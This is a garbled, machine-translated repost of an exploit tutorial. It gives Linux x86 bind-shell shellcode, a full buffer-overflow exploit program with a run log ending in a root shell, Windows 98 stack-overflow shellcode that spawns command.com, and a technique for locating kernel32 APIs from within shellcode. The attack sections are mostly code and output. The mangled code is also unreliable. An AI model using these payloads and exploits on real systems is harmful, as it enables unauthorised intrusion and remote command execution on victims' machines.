Compilation code of DUP2 (CLI, 0) ---------------------------------------------------------------------------------------------------------------------------- ------------------------------- / * The first parameter is% EBX, the second parameter is % ECX * / CHAR CODE [] = / *% EAX is the return value of the Accept call, * / / * customer file descriptor CLI. * / "/ x88 / xc3" / * movb% Al,% BL * / "/ xb0 / x3f" / * MOVB $ 0X3F,% Al * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ xcd / x80" / * int $ 0x80 * / ---- -------------------------------------------------- ---------------------- Now which all the details are stringed to form a new shell.

New shellcode ------------------------------------------------------------------------------------------------ ------------------------ ---- CHAR shellcode [] = 00 "/ x31 / xc0" / * xorl% EAX,% EAX * / 02 "/ xb0 / x02" / * MOVB $ 0x2,% Al * / 04 "/ XCD / X80" / * int $ 0x80 * / 06 "/ x85 / xc0" / * testl% EAX,% EAX * / 08 " / x75 / x43 "/ * jne 0x43 * / / * Execute fork (), when Fork ()! = 0, it shows that it is a parent process, to terminate * / / * therefore, jump to 0x43 a = 0x4d, then jump to Later, execute exit (0) * / 0A "/ xeb / x43" / * jmp 0x43 * / / * When Fork () == 0, it indicates that the child process * / / * therefore, jump to 0x43 0C = 0x4f, then jump to the back, execute CALL-0XA5 * /

0C "/ x5e" / * popl% ESI * / 0D "/ x31 / xc0" / * xorl% EAX,% EAX * / 0F "/ x31 / xdb" / * xorl% EBX,% EBX * / 11 "/ x89 / xf1 "/ * movl% ESI,% ECX * / 13" / XB0 / X02 "/ * MOVB $ 0x2,% Al * / 15" / x89 / x06 "/ * movl% EAX, (% ESI) * / 17 "/ xb0 / x01" / * MOVB $ 0x1,% Al * / 19 "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 1C "/ xb0 / x06" / * MovB $ 0x6 ,% Al * / 1E "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / 21 "/ xb0 / x66" / * MOVB $ 0x66,% Al * / 23 "/ XB3 / X01 "/ * MOVB $ 0x1,% BL * / 25" / xcd / x80 "/ * int $ 0x80 * / / * executes socket (), Eax is the return value SOC file descriptor * /

27 "/ x89 / x06" / * movl% EAX, (% ESI) * / 29 "/ xb0 / x02" / * MOVB $ 0x2,% Al * / 2D "/ x66 / x89 / x46 / x0c" / * MOVW % AX, 0XC (% ESI) * / 2F "/ xb0 / x77" / * MOVB $ 0x77,% Al * / 31 "/ x66 / x89 / x46 / x0e" / * movw% AX, 0xE (% ESI) * / 35 "/ x8d / x46 / x0c" / * LEAL 0XC (% ESI),% EAX * / 38 "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 3b "/ x31 / XC0 "/ * xorl% EAX,% EAX * / 3D" / x89 / x46 / x10 "/ * movl% EAX, 0x10 (% ESI) * / 40" / xb0 / x10 "/ * MOVB $ 0X10,% Al * / 42 "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / 45 "/ xb0 / x66" / * MOVB $ 0X66,% Al * / 47 "/ XB3 / X02" / * MOVB $ 0x2,% BL * / 49 "/ xcd / x80" / * int $ 0x80 * / / * execution bind () * / 4b "/ xeb / x04" / * jmp 0x4 * / / * crossing two jumps turn*/

4D "/ Xeb / X55" / * JMP 0x55 * / / * jump to 0x4f 0x55 = 0xA4 * /

4F "/ xeb / x5b" / * jmp 0x5b * / / * jump to 0x51 0x5b = 0xac * /

51 "/ xb0 / x01" / * MOVB $ 0x1,% Al * / 53 "/ x89 / x46 / x04" / * movl% EAX, 0X4 (% ESI) * / 56 "/ xb0 / x66" / * MovB $ 0 X66,% Al * / 58 "/ XB3 / X04" / * MOVB $ 0X4,% BL * / 5A "/ XCD / X80" / * int $ 0x80 * / / * Execute Listen () * /

5C "/ x31 / xc0" / * xorl% EAX,% EAX * / 5E "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 61 "/ x89 / x46 / x08" / * MOVL% EAX, 0x8 (% ESI) * / 64 "/ xb0 / x66" / * MOVB $ 0x66,% Al * / 66 "/ XB3 / X05" / * MOVB $ 0X5,% BL * / 68 "/ XCD / X80 "/ * int $ 0x80 * / / * Execute accept (), Eax is the return value CLI file descriptor * /

6A "/ x88 / xc3" / * movb% Al,% BL * / 6C "/ xb0 / x3f" / * MOVB $ 0x3f,% Al * / 6e "/ x31 / xc9" / * xorl% ECX,% ECX * / 70 "/ xcd / x80" / * int $ 0x80 * / 72 "/ xb0 / x3f" / * MOVB $ 0x3f,% Al * / 74 "/ XB1 / X01" / * MOVB $ 0X1,% CL * / 76 "/ xcd / x80" / * int $ 0x80 * / 78 "/ xb0 / x3f" / * movb $ 0x3f,% Al * / 7A "/ XB1 / X02" / * MOVB $ 0X2,% CL * / 7C "/ XCD / X80 "/ * INT $ 0x80 * / / * Perform three DUP2 () * / 7e" / xb8 / x2f / x62 / x69 / x6e "/ * movl $ 0x6E69622F,% EAX * / / *% EAX =" / bin "* / 83" / x89 / x06 "/ * movl% EAX, (% ESI) * / 85" / xb8 / x2f / x73 / x68 / x2f "/ * MOVL $ 0x2f68732f,% eax * / / *% EAX = "/ sh /" * / 8A "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 8D "/ x31 / xc0" / * xorl% EAX,% EAX * / 8F " / x88 / x46 / x07 "/ * movb% Al, 0x7 (% ESI) * / 92" / x89 / x76 / x08 "/ * movl% ESI, 0x8 (% esi) * / 95" / x89 / x46 / x0c "/ * MOVL% EAX, 0xc (% ESI) * / 98" / XB0 / X0B "/ * MOVB $ 0XB,% Al * / 9A" / x89 / xf3 "/ * movl% ESI,% EBX * / 9C" / x8d / x4e / x08 "/ * LEAL 0x8 (% ESI),% ECX * / 9F" / x8d / x56 / x0c "/ * leal 0xc (% ESI),% EDX * / A2" / XCD / X80 "/ * INT $ 0x80 * / / * Execute EXECVE () * / / * Run / Bin / SH () * /

A4 "/ x31 / xc0" / * xorl% EAX,% EAX * / A6 "/ XB0 / X01" / * MOVB $ 0x1,% Al * / A8 "/ x31 / xdb" / * xorl% EBX,% EBX * / aa "/ xcd / x80" / * int $ 0x80 * / / * Execute EXIT () * /

AC "/ xe8 / x5b / xff / xff / xff" / * call -0xa5 * / / * Executes the instructions at 0x0c * /

B1 ------------------------------------- ----------------------------

Ok, long shell is finally finished, and below is the attack program.

Exploit4.c ----------------------------------------------------------------------------------- ------------------------- ---- #include #include #include #include #include #define align 0 #define offset 0 #define ret_position 1024 #define Range 200 #define NOP 0x90

Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ xb0 / x02" / * MOVB $ 0X2,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x85 / xc0" / * testl% EAX,% EAX * / "/ x75 / x43" / * jne 0x43 * / "/ xeb / x43" / * jmp 0x43 * / "/ x5e" / * popl% ESI * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ X89 / XF1" / * movl% ESI,% ECX * / " / XB0 / X02 "/ * MOVB $ 0x2,% Al * /" / x89 / x06 "/ * movl% EAX, (% ESI) * /" / xb0 / x01 "/ * MOVB $ 0x1,% al * /" / x89 / x46 / x04 "/ * movl% EAX, 0x4 (% ESI) * /" / xb0 / x06 "/ * MOVB $ 0X6,% Al * /" / x89 / x46 / x08 "/ * movl% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0X1,% BL * / "/ XCD / X80" / * int $ 0x80 * / "/ x89 / x06" / * movl% EAX, (% ESI) * / "/ xb0 / x02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * MOVW% AX, 0xc (% ESI) * / "/ xb0 / x77" / * MOVB $ 0X77,% Al * / "/ x66 / x89 / x46 / x0e" / * movw% AX, 0XE (% ESI) * / "/ X8D / X46 / X0C "/ * LEAL 0XC (% ESI),% EAX * /" / x89 / x46 / x04 "/ * movl% EAX, 0X4 (% ESI) * /" / x31 / xc0 "/ * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * / "/ xb0 / x10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08 "/ * MOVL% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0X66,% Al * / "/ XB3 / X02" / * MOVB $ 0X2,% BL * / "/ XCD / X80" / * INT $ 0x80 * / "/ Xeb / x04" / * jmp 0x4 * / "/ xeb / x55" / * jmp 0x55 * / "/ xeb / x5b" / * jmp 0x5b * / "/ xb0 / x01" / * MOVB $ 0x1,% Al * / "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X04 "/ * MOVB $ 0X4,% BL * /" / XCD / X80 "/ * int $ 0x80 * /" / x31 / xc0 "/ * xorl% EAX,% EAX * /" / x89 / x46 / x04 "

/ * MOVL% EAX, 0x4 (% ESI) * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0X66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ XCD / X80" / * INT $ 0x80 * / "/ x88 / xc3" / * movb% Al,% BL * / "/ XB0 / X3F "/ * MOVB $ 0x3f,% Al * /" / x31 / xc9 "/ * xorl% ECX,% ECX * /" / XCD / X80 "/ * int $ 0x80 * /" / xb0 / x3f "/ * MOVB $ 0 X3f,% Al * / "/ XB1 / X01" / * MOVB $ 0x1,% cl * / "/ xcd / x80" / * int $ 0x80 * / "/ xb0 / x3f" / * MOVB $ 0x3f,% Al * / "/ xb1 / x02" / * MOVB $ 0x2,% cl * / "/ xcd / x80" / * int $ 0x80 * / "/ xb8 / x2f / x62 / x69 / x6e" / * movl $ 0x6e69622f,% EAX * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ xb8 / x2f / x73 / x68 / x2f" / * movl $ 0x2f68732f,% eax * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * movb% Al, 0x7 (% ESI) * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ xb0 / x0b" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * movl% ESI,% EBX * / "/ x8d / x4e / x08" / * leal 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C "/ * LEAL 0XC (% ESI),% EDX * /" / XCD / X80 "/ * int $ 0x80 * /" / x31 / xc0 "/ * xorl% EAX,% EAX * /" / XB0 / X 01 "/ * MOVB $ 0x1,% Al * /" / x31 / xdb "/ * xorl% EBX,% EBX * /" / XCD / X80 "/ * int $ 0x80 * /" / xe8 / x5b / xff / XFF / XFF "/ * CALL-0XA5 * / unsigned long get_sp (void) {__ASM __ (" MOVL% ESP,% EAX ");

Long getip (char * name) {struct hostent * hp; long ip; if ((ip = inet_addr (name)) == - 1) {if ((hp = gethostbyname (name)) == null) {fprintf (stderr) "CAN" t resolve host./n "); exit (0);} Memcpy (& IP, (hp-> h_addr), 4);} return ip;}

INT EXEC_SH (INT SOCKFD) {Char SND [4096], RCV [4096]; FD_SET RSET; While (1) {fd_zero (& RSET); fd_set (fileno (stdin), & rset); fd_set (sockfd, & rset); select 255, & RSET, NULL, NULL, NULL); IF (FD_ISSET (SND), & RSET)) {MEMSET (SND, 0, SIZEOF (SND)); FGETS (SND, SIZEOF (SND), STDIN; WRITE SOCKFD, SND, STRLEN (SND));} IF (fd_isset) {MEMSET (RCV, 0, SIZEOF (RCV)); IF (Read (SockFD, RCV, SizeOf (RCV)) <= 0) EXIT (0); FPUTS (RCV, Stdout);}}} int connection_sh (long ip) {int suckfd, i; struct sockaddr_in sin; printf ("Connect to the shell / n"); fflush (stdout); MEMSET & sin, 0, sizeof (sin); sin.sin_family = AF_INET; SIN.SIN_PORT = HTONS (30464); sin.sin_addr.s_addr = IP; if ((SOCKFD = Sockt (AF_INET, SOCK_STREAM, 0) <0) {Printf ("CAN" T CREATE SOCKET / N "); exit (0);} IF (connect (Struct Sockaddr *) & Sin, SIZEOF (SIN)) <0) {Printf (" CAN "T Connect To The shell / n "); exit (0);} return sockfd;}

Void main (int Argc, char ** argv) {char buff [RET_POSITION RANGE Align 1], * Ptr; Long Addr; unsigned long sp; int off = offset, bsize = RET_POSITION RANGE ALIGN 1; int I; int suckfd;

IF (Argc> 1) OFFSET = ATOI (Argv [1]);

SP = GET_SP (); addr = sp-offset;

For (i = 0; i > 8; BUFF [i align 2] = (AddR & 0x00FF0000) >> 16; BUF [I Align 3] = (AddR & 0xFF000000) >> 24;}

For (i = 0; i

PTR = BUFF BSIZE-RANGE * 2-STRLEN (Shellcode) -1; for (i = 0; I

BUFF [BSIZE-1] = "/ 0" Printf ("jump to 0x% 08x / n", ADDR);

IF (fork ("./ Vulnerable", "Vulnerable", BUFF, 0); exit (0);} Sleep (5); SOCKFD = Connect_sh (Getip ("127.0.0.1") ); EXEC_SH (Sockfd);} ---------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------- Algorithm is very simple, gentleted into overflow strings, format: nnnnssssaaaa. Then a child process perform a target program to simulate the network daemon, the parameters are our string. Ok, the stack has overflows. Our shellcode is executed, then there will be Server at Listen at 30464.

The parent process sleeps for five seconds and waits for these completion. Connect the port 30464 of the unit. After the connection is established, read the received string from Socket, print to standard output, read the string from the standard input to the SOCKET's Server.

Let's try it out:

Let's write a vulnerability program: Vulnerable.c ---------------------------------------- ------------------------------------

#include

INT Main (int Argc, char ** argv) {char buffer [1000]; Printf ("I am here% x, buffer% d / n", buffer, strlen (argv [1])); STRCPY (Buffer, Argv [1]);

Return 0;} ---------------------------------------------- ------------------------------

[NKL10] $ ./exploit jump to 0xbfffff63c i am herebffff280, buffer1224 connection to the shell can "t the shell see it? I added a printf in VulneRable.c, print the first address of the buffer, so you can Don't guess .0xBfffffff63c-0xBfffff280 = 956, good, use 956 to offset.

[NKL10] $. / EXPLOIT 956 JUMP TO 0XBFFFF280 I am Herebfff280, Buffer1224 Connect To Shell Whoami Root ID UID = 0 (root) ... uname -a Linux localhost.localdomain 2.2.5-15. . .

Hey, I'm already gone.

-------------------------------------------------- -------------

Stack overflow under the Window system - This lectures let us see the procedures under the Windows system. Our goal is to study how to use the stack overflow vulnerability of the Windows program.

Let us start from the beginning. Windows 98 Second Edition

First, let's write a question program: #include

INT main () {char name [32]; gets (name); for (int i = 0; i <32 && name [i]; i ) printf ("// 0x% x", name [i]);} believe Everyone has seen it, Gets (name) does not have a boundary check on the Name array. Then we can give the way a long string, and must definitely override the return address in the stack.

C: / Program Files / DevStudio / MyProjects / bo / Debug> vunera ~ 1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaa / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0 x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0x61 / 0 x61 / 0x61

Here, the familiar dialog box appeared "The program executes illegal operation ...", too good, click on the details button, see the value of the EIP is 0x61616161, haha, dialog will also tell us the return address . This feature is too good, we can choose a sequence of input strings, accurately determine where the return location of the return address is stored.

C: / program files / devstudio / myprojects / bo / debug> Vunera ~ 1 12345678910111213141516171819202122324252627282930383940

/ 0x31 / 0x32 / 0x33 / 0x34 / 0x35 / 0x36 / 0x37 / 0x38 / 0x39 / 0x31 / 0x30 / 0x31 / 0x31 / 0x31 / 0 x32 / 0x31 / 0x33 / 0x31 / 0x34 / 0x31 / 0x35 / 0x31 / 0x36 / 0x31 / 0x37 / 0x31 / 0x38 / 0x31 / 0x39 / 0x32 / 0 x30 / 0x32 to here, the familiar dialog box "change the procedure to perform illegal operation ...", click the Details button, below is details:

VuneRable in 00DE: 32363235 module causes invalid page error. Registers: EAX = 00000005 CS = 017f EIP = 32363235 EFLGS = 00000246 EBX = 00540000 SS = 0187 ESP = 0064fe00 EBP = 32343233 ECX = 00000020 DS = 0187 ESI = 816bffcc FS = 11df EDX = 00411a68 ES = 0187 EDI = 00000000 GS = 0000 BYTES AT CS: EIP:

Stack Dump: 32383237 33303339 33333333335 3333333333335 0064FF68 0064FE0C 0064FC30 0064FF68 000000 0064FF78 BFF8B86C

Oh, the content of EIP is 0x32363235, which is 2625, the content of EBP is 0x32343233, that is, 2423, can be found, in the stack, start offset from the NAME variable address, is the address of the EBP, starting from the Name variable address Offset 40 is the address of the RET. We can give the Name array to enter our carefully written shellcode. As long as we put the Name's start address 40 of the address 40 of overflow strings. So, what is the start address of Name? Through the STACK DUMP above, we can see that the address 0x0064FE00 pointed to by the current ESP is 0x32383237, then calculates that the start address of the NAME is: 0x0064FE00-44 = 0x64fdd4. In the Windows system, other running processes remain unchanged. Every time we execute the start address of the stack of Vunera to 1. That is, each time run, the address of the Name is 0x64fdd4.

Telling here, you must have discovered such a situation: In the WIN system, due to address conflict detection, error register images and stack images, we can accurately analyze overflow offset addresses to stack overflow vulnerabilities. This allows us to find a stack overflow vulnerability.

OK, all the best, only shellcode.

First, consider what is our shellcode to do? Obviously, according to the past experience, we want to open a DOS window, so we can make a lot of things under this window.

The procedure for opening a DOS window is as follows: #include #include

TYPEDEF VOID (LPTSTSTSTST); int main () {hinstance librandle; myproc procadd;

Char DLLBUF [11] = "msvcrt.dll" char sysbuf [7] = "system" char cmdbuf [16] = "command.com"

LibHandle = loadingLibrary (DLLBUF);

PROCADD = (MyProc) getProcaddress (libhandle, sysbuf);

(Procadd) (cmdbuf);

Return 0;}

This program is necessary to explain it in detail. We know that you can get a DOS window in a Command.com. In the C library function, statement system (command.com); will complete the features we need.

However, Windows does not use system calls like UNIX to implement critical functions. For our programs, Windows provides system functions through dynamic link libraries. This is the so-called DLL "S.

Therefore, when we want to call a system function, he cannot directly reference him. We must find that

A dynamic link library containing this function, which provides the address of this function by the dynamic link library. The DLL itself also has a basic address, which is loaded from this basic address every time. For example, the System function is provided by MSVCRT.DLL (The Microsoft Visual C Runtime Library), while MSVCRT.DLL starts from the 0x78000000 address each time. The System function is located at a fixed offset of MSVCRT.DLL (this offset address is only related to the version of MSVCRT.DLL, and the different versions may be offset). On my system, the MSVCRT.DLL version is (V6.00.8397.0). The system offset address is 0x019824. So, if you want to execute system, we must first load the dynamic link library MSVCRT.DLL using loadLibrary (msvcrt.dll) to get the handle of the dynamic link library. Then get the true address of the System using getProcadDress (librandle, system). This real address can then be used to call the System function.

Ok, now you can compile execution, the result is correct, we get a DOS box.

Now debug trace of the assembler language, can be obtained: 15: LibHandle = LoadLibrary (dllbuf); 00401075 lea edx, dword ptr [dllbuf] 00401078 push edx 00401079 call dword ptr [__imp__LoadLibraryA @ 4 (0x00416134)] 0040107F mov dword ptr [LibHandle], eax 16: 17: ProcAdd = (MYPROC) GetProcAddress (LibHandle, sysbuf); 00401082 lea eax, dword ptr [sysbuf] 00401085 push eax 00401086 mov ecx, dword ptr [LibHandle] 00401089 push ecx 0040108A call dword ptr [ __Imp__getprocaddress @ 8 (0x00416188)] 00401090 MOV DWORD PTR [PROCADD], EAX; now, EAX value is 0x78019824 is the true address of System. This address is unique for my machine. No need to find every time. 18: 19: 19: (CMDBUF); 00401093 LEA EDX, DWORD PTR [cmdbuf]; using the stack pass parameters, only one parameter is the address of the string "command.com" 004097 Call Dword PTR [procadd] 0040109A Add ESP, 4

Now we can write a assembly code to complete system, see if our execution system call is working as we design:

#include #include

Void main () {

LoadLibrary ("msvcrt.dll");

__ASM {MOV ESP, EBP; assign EBP content to ESP PUSH EBP; save EBP, ESP-4 MOV EBP, ESP; assign new value to EBP, will be used as a partial variable to XOR EDI, EDI; PUSH EDI; Pressure Enter 0, ESP-4, and the function is the end / 0 character of the construct string / 0. SUB ESP, 08H; Plus above, there are 12 bytes, and it is used to put "command.com". MOV BYTE PTR [EBP-0CH], 63H; MOV BYTE PTR [EBP-0BH], 6FH; MOV BYTE PTR [EBP-0AH], 6DH; MOV BYTE PTR [EBP-09H], 6DH; MOV BYTE PTR [EBP- 08H], 61H; MOV BYTE PTR [EBP-07H], 6EH; MOV BYTE PTR [EBP-06H], 64H; MOV BYTE PTR [EBP-05H], 2E; MOV Byte PTR [EBP-04H], 63H; MOV BYTE PTR [EBP-03H], 6FH; MOV BYTE PTR [EBP-02H], 6DH; Generator "Command.com". Lea Eax, [EBP-0CH]; Push Eax; String Address as the argument) MOV EAX, 0x78019824; Call EAX; call system}} Compile, then run. Ok, the DOS box came out. Enter Dir, Copy ... if you think of the 286 when you remember? Knocking EXIT quit, oh, an illegal operation has occurred. Access viological. This is sure, because our program has already mess with the stack pointer.

Optimize the above algorithm, now we can write shellcode as follows: char shellcode [] = {0x8B, 0xE5, / * MOV ESP, EBP * / 0X55, / * PUSH EBP * / 0X8B, 0XEC, / * MOV EBP, ESP * / 0X83, 0XEC, 0X0C, / * SUB ESP, 0000000C * / 0xB8, 0X63, 0X6F, 0x6D, 0x6D, / * MOV EAX, 6D6D6F63 * /

0x89, 0x45, 0xF4, / * MOV DWORD PTR [EBP-0C], EAX * / 0XB8, 0X61, 0X6E, 0X64, 0X2E, / * MOV EAX, 2E646E61 * /

0x89, 0x45, 0xF8, / * MOV DWORD PTR [EBP-08], EAX * / 0XB8, 0X63, 0X6F, 0x6D, 0x22, / * MOV EAX, 226D6F63 * /

0x89, 0x45, 0xFc, / * MOV DWORD PTR [EBP-04], EAX * / 0X33, 0X32, / * XOR EDX, EDX * / 0X88, 0X55, 0XFF, / * MOV BYTE PTR [EBP-01], DL * / 0x8d, 0x45, 0xF4, / * Lea Eax, DWORD PTR [EBP-0C] * / 0x50, / * Push EAX * / 0XB8, 0X24, 0X98, 0X01, 0X78, / * MOV Eax, 78019824 * /

0xFF, 0xD0 / * Call Eax * /};

Remember the basic procedure of the test shellcode in the second lecture? We can use him to test this shellcode: #include #include char shellcode [] = {0x8b, 0xE5, / * MOV ESP, EBP * / 0X55, / * PUSH EBP * / 0x8B , 0xec, / * MOV EBP, ESP * / 0X83, 0XEC, 0x0C, / * SUB ESP, 0000000C * / 0xB8, 0X63, 0X6F, 0x6D, 0x6D, / * MOV EAX, 6D6D6F63 * / 0x89, 0X45, 0xF4, / * MOV DWORD PTR [EBP-0C], EAX * / 0XB8, 0X61, 0X6E, 0X64, 0X2E, / * MOV EAX, 2E646E61 * /

0x89, 0x45, 0xF8, / * MOV DWORD PTR [EBP-08], EAX * / 0XB8, 0X63, 0X6F, 0x6D, 0x22, / * MOV EAX, 226D6F63 * /

0x89, 0x45, 0xFc, / * MOV DWORD PTR [EBP-04], EAX * / 0X33, 0X32, / * XOR EDX, EDX * / 0X88, 0X55, 0XFF, / * MOV BYTE PTR [EBP-01], DL * / 0x8d, 0x45, 0xF4, / * Lea Eax, DWORD PTR [EBP-0C] * / 0x50, / * Push EAX * / 0XB8, 0X24, 0X98, 0X01, 0X78, / * MOV Eax, 78019824 * /

0xFF, 0xD0 / * Call Eax * /};

Int main () {int * ret; loadingLibrary ("msvcrt.dll");

RET = (int *) & ret 2; // RET equal to the return address of Main () / ( 2 is because there is a PUSH EBP, otherwise add 1 is ok.)

(* RET) = (int) shellcode; // Modify the return address of Main () is the start address of Shellcode.

} Compile operation and get the DOS dialog.

Summary now. We already know how to get a stack overflow under the Windows system, how to calculate an offset address, and how to write a shellcode to get DOS. In theory, you already have the use of piles

The ability of the stack overflows, below, we truly master him through actual combat.

-------------------------------------------------- ----------------

Senior skills written in Windows Shellcode

Author: yuange

Unix and other systems, because there is user concept, it is often overflow to get a normal account first, and then log in to use overflow to load a shell to get root permissions, and its system call is convenient, so shellcode is generally simple. However, Windows systems often do not provide login services, so shellcode, which is overflowed, often provides a Socket connection. To load the program to get the shell, and the Windows system call INT2E interface is not as good as the Unix system calls the Int80 specification, so the API is usually used, and API The function address is not the same because the system version is different, so it is more troublesome to write Windows below, and the gelcode of the generic point is more troublesome.

After a period of thinking, I received a better way to write shellcode under Windows. 1, the overflow point is determined. This way to cover a RET instruction address using the overflow point, so you can know that the overflow point is approximately scope. 2, shellcode positioning. Use the ESP register to locate, as long as the over-covered RET address is placed in the command address of a JMPESP function. 3, the RET command address, the JMP ESP function command address uses the address, 54 C3, or FF E4, and the Windows address of the C3 in this language is also very good to find this address. 4, Shellcode directly using C language, easy to write, modify, and debug.

5, shellcode unified encoding, meet the application conditions for the limit of shellcode characters, decoded with a small assembly code, so that shellcode can be used to consider special characters. 6, communication encryption, dealing with firewall, implementing FTP functions, implementing advanced applications of memory directly to Web services.

The following main introductions the introduction to the method of writing general shellcode. The API used in the main shellcode is positioned with GetProcadDress, and the library is used to load it with LoadLibrarya. That case shellcode just relys on these two APIs. The address of the two APIs is solved, and the API of LoadLibrarya is in the system library kernel32.dll, or you can get getProcAddress. That is to find the address of the system library kernel32.dll and getProcaddress. Because the general application loads kernel32.dll, the solution is to find this system library and API address in memory. Fortunately, I know that the module data structure of Windows is not difficult, mainly to increase abnormal structure processing. Below is a VC6.0 program code:

void shellcodefn () {int * except [3]; FARPROC procgetadd = 0; char * stradd; int imgbase, fnbase, i, k, l; HANDLE libhandle; _asm {jmp nextcallgetstradd: pop straddlea EDI, exceptmov eax, dword ptr FS : [0] MOV DWORD PTR [EDI 0x08], Eaxmov DWORD PTR FS: [0], EDI} Except [0] = 0xffffff; Except [1] = STRADD-0X07; / * Save an abnormal structure chain and modify the abnormal structure Chain, shellcode take over abnormal * /

IMGBASE = 0x77E00000; / * Search the start of Kernel32.dll's starting address * /

Call getExceptretadd} / * Get an abnormal return address * / for (; imgbase <0xBffa0000, procgetadd == 0;) {imgbase = 0x10000; / * Module address is 64K unit, speed up speed * / if (IMGBase == 0x7800000000 ) imgbase = 0xBff00000; / * If it has not been searched yet, then it may be Win9X system * / if (* (word *) imgbase == 'zm' && * (INT *) (IMGBASE 0x3c)) == 'EP') {/ * Module head * / fnbase = * (int *) (IMGBase 0x3c) 0x78) IMGBase; k = * (int *) (IMGBase 0x3c) 0x78) *) (fnbase 0xc) imgbase; if (* (int *) k == 'NREK' && * (int *) (k 4) == '23LE') {/ * module name * / libhandle = imgbase ; / * Get the module header address, the module handle * / k = IMGBASE * (int *) (FNBase 0x20); for (l = 0; l <* (int *) (FNBase 0x18); L, K = 4) {IF (INT *) (IMGBASE * (INT *) K) == 'Pteg' && * (INT *) (4 IMGBase * (INT *) K) == 'acor') { / * Retrieved Name * / K = * (Word *) (INBASE 0x24)); K = * (int *) (FNBase 0x10) -1; k = * ( INT *) (K K K K IMGBASE * (INT *) (FNBase 0x1c)); procgetadd = k imgbase; / * API address * / BREAK;}}}}} // Search Kernel32. The DLL module address and API function getProcaddress address // Note that the search page is not in situation here. _ASM {Lea EDI, ExcePTMOV EAX, DWORD PTR [EDI 0x08] MOV DWORD PTR FS: [0], EAX} / * Restore Exceptions Chain * /

IF (ProcgetAdd == 0) goto die; / * If you don't find a getProcadDress address dead loop * / die: goto die;

_asm {

getExceptretadd: Pop Eaxpush Eaxmov EDI, DWORD PTR [stradd] MOV DWORD PTR [EDI-0X0E], EaxRet / * Get an abnormal return address, and fill in the exception processing module * /

/ * Exception processing module * / errprogram: MOV EAX, DWORD PTR [ESP 0x0c] Add Eax, 0xB8MOV DWORD PTR [EAX], 0x11223344 // stradd-0xe / * Modify exception Return EIP pointer * / xor EAX, EAX // 2 / * does not prompt exception * / RET // 1 / * exception handling return * / execptprogram: jmp errprogram // 2 BYtes stradd-7NextCall: Call getstradd //5 Bytes}} ----------- -------------------------------------------------- -------------------

Welcome to my site http://www.ishacker.com

转载请注明原文地址:https://www.9cbs.com/read-27104.html

New Post(0)